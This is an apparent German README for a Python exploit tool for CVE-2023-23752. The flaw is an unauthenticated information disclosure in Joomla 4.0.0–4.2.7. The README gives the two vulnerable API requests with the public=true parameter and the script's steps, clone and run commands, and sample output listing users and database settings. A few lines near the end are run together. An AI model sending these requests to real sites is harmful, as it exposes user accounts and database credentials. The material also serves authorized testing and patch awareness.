
Python-Port des CVE-2023-23752-Exploits — Joomla! < 4.2.8 nicht authentifizierte Informationsoffenlegung (Benutzerliste + DB-Anmeldeinformationsleck)
⚠️ Haftungsausschluss: Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Penetrationstests bestimmt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Unberechtigte Nutzung ist illegal.
Joomla! ist eines der am weitesten verbreiteten Open-Source-Content-Management-Systeme (CMS). Die Versionen legen zwei API-Endpunkte ohne ordnungsgemäße Zugriffskontrolle frei, sodass ein Angreifer vertrauliche Informationen abrufen kann: registrierte Benutzerkonten und in anfälligen Konfigurationen die Datenbank-Zugangsdaten der Website.
Die Schwachstelle wurde von Zewei Zhang vom NSFOCUS TIANJI Lab entdeckt und dem Joomla!-Projekt gemeldet, das in Version 4.2.8 einen Patch veröffentlichte. Ihr wurde die CVE-2023-23752 zugewiesen.
Dieses Repository enthält einen Python-Port des ursprünglichen Ruby-Exploits von ACCEIS.
| Feld | Wert |
|---|---|
| CVE | CVE-2023-23752 |
| Betroffen | Joomla! 4.0.0 – 4.2.7 |
| Typ | Unzulässige Zugriffskontrolle / Informationsoffenlegung |
| Berechtigungen | Keine (nicht authentifiziert) |
| Auswirkung | Offenlegung von Benutzerkonten und DB-Zugangsdaten |
| Patch | Joomla! 4.2.8 (veröffentlicht 2023) |
Die REST-API-Webservice-Endpunkte von Joomla sollten Authentifizierung und Zugriffsprüfungen erzwingen, bevor Daten zurückgegeben werden. In betroffenen Versionen führen zwei Endpunkte diese Prüfung nicht korrekt durch, wenn sie mit dem Abfrageparameter public=true aufgerufen werden. Sie behandeln die Anfrage so, als käme sie von einer anonymen "öffentlichen" Zugriffsebene, die nur nicht sensible Daten preisgeben sollte – geben aber stattdessen interne Informationen preis.
GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true
Das Skript automatisiert die folgenden Schritte:
1. Senden einer GET-Anfrage an /api/index.php/v1/users?public=true
2. Parsen der JSON:API-Antwort und Extrahieren der Benutzereinträge
3. Senden einer GET-Anfrage an /api/index.php/v1/config/application?public=true
4. Parsen der JSON:API-Antwort und Extrahieren der Seiten- und Datenbankkonfiguration
5. Ausgabe beider Datensätze auf der Konsole
Zu keinem Zeitpunkt ist eine Authentifizierung, Sitzung oder ein CSRF-Token erforderlich – der gesamte Angriff besteht aus zwei nicht authentifizierten GET-Anfragen.
requestspip install requests --break-system-packages
git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages
usage: CVE-2023-23752.py [-h] url
positional arguments:
url Basis-URL des Ziels, z.B. http://dev.devvortex.htb
options:
-h, --help show this help message and exit
python3 CVE-2023-23752.py http://127.0.0.1:4242
python3 CVE-2023-23752.py http://dev.devvortex.htb
=== Users ===
[123] Administrator (admin) - [email protected] - ['Super Users']
=== Site info ===
Site name: My Site
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False
=== Database info ===
DB type: mysqli
DB host: localhost
DB user: joomla_user
DB password: ********
DB name: joomla_db
DB prefix: sd8f2_
DB encryption: 0
/api/index.php/* auf Webserver- oder WAF-Ebene, wenn ein Upgrade nicht sofort möglich ist./api/index.php/v1/.